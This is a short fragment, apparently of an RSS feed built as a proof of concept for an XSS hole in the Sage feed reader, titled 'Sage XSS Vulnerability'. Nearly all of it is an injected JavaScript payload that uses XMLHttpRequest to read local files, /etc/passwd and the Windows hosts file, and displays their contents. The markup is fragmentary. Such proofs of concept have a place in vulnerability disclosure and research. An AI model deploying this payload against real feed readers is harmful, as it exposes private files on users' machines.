http://michaeldaw.org The Adventures of Michael Daw try { var req = new XMLHttpRequest(); req.open("GET", "file:///etc/passwd", null); req.send(null); alert(req.responseText) } catch (e) {}; alt="test">Sage XSS Vulnerability. ]]> http://michaeldaw.org The Adventures of Michael Daw alert('blah'); try { var req = new XMLHttpRequest(); req.open("GET", "file:///C:/WINDOWS/system32/drivers/etc/hosts", null); req.send(null); alert(req.responseText) } catch (e) {}; alt="test">Sage XSS Vulnerability. ]]>